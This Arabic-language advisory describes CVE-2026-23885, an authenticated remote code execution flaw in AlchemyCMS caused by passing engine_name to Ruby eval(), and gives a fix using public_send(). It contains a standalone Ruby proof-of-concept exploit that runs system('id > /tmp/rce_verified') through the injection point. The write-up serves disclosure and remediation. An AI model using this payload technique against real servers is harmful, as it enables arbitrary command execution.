
إثبات مفهوم لاستغلال CVE-2026-23885، وهو تنفيذ تعليمات برمجية عن بُعد (RCE) مُصادق عليه في AlchemyCMS عبر حقن eval()، مع تحليل تقني وإرشادات للمعالجة.
تم اكتشاف ثغرة أمنية حرجة تتعلق بـ عدم تحييد التوجيهات في التعليمات البرمجية المُقيَّمة ديناميكيًا (CWE-95) في إطار عمل AlchemyCMS. تسمح هذه الثغرة لمستخدم مُصادق يتمتع بصلاحيات إدارية بتنفيذ تعليمات Ruby البرمجية وأوامر النظام على الخادم المضيف عبر نقطة حقن eval().
app/helpers/alchemy/resources_helper.rbAlchemy::ResourcesHelper#resource_url_proxyتعالج الدالة المساعدة سمة engine_name القادمة من كائن resource_handler بطريقة غير آمنة. يتم تمرير هذه السمة مباشرة إلى دالة eval() في Ruby دون أي تعقيم أو تحقق مسبق.
def resource_url_proxy(resource_handler)
if resource_handler.in_engine?
eval(resource_handler.engine_name) # rubocop:disable Security/Eval
else
main_app
end
end
إن وجود التوجيه `# rubocop:disable Security/Eval` يؤكد أن الآثار الأمنية لاستخدام `eval()` كانت معروفة ولكن تم تجاوزها أثناء التنفيذ.
3. إثبات المفهوم (PoC)
ناقل الهجوم
يتم تفعيل الثغرة داخل الواجهة الإدارية لـ AlchemyCMS عند عرض طرق العرض القائمة على الموارد (مثل المواقع أو اللغات). إذا تمكن المهاجم من التلاعب بإعدادات الوحدة أو بيانات الموارد الأساسية، فيمكنه تحقيق التنفيذ.
نص برمجي مستقل للاستغلال
يوضح النص البرمجي التالي تنفيذ التعليمات البرمجية التعسفية من خلال محاكاة بيئة الدالة المساعدة المُعرَّضة للخطر:
Ruby
require 'ostruct'
def resource_url_proxy(resource_handler)
if resource_handler.engine_name && !resource_handler.engine_name.empty?
eval(resource_handler.engine_name)
end
end
# الحمولة: تنفيذ أمر النظام 'id' وإنشاء ملف إثبات
payload = "system('id > /tmp/rce_verified'); 'main_app'"
handler = OpenStruct.new(engine_name: payload)
resource_url_proxy(handler)
دليل التنفيذ
عند التنفيذ، تتم معالجة أمر النظام، مما يمنح المهاجم إمكانية الوصول إلى بيئة الخادم.

السلامة: مرتفعة. القدرة على تعديل الملفات وسجلات قاعدة البيانات.
التوفر: مرتفع. احتمالية تعطيل النظام بالكامل.
معرف CVE: CVE-2026-23885
7.4.12
8.0.3
يتضمن الإصلاح استبدال استدعاء eval() بدالة public_send() لتوجيه الطلبات بشكل آمن إلى وكيل المحرك المقصود:
Ruby
main_app.public_send(resource_handler.engine_name) if resource_handler.engine_name.present?
مرجع CVE: CVE-2026-23885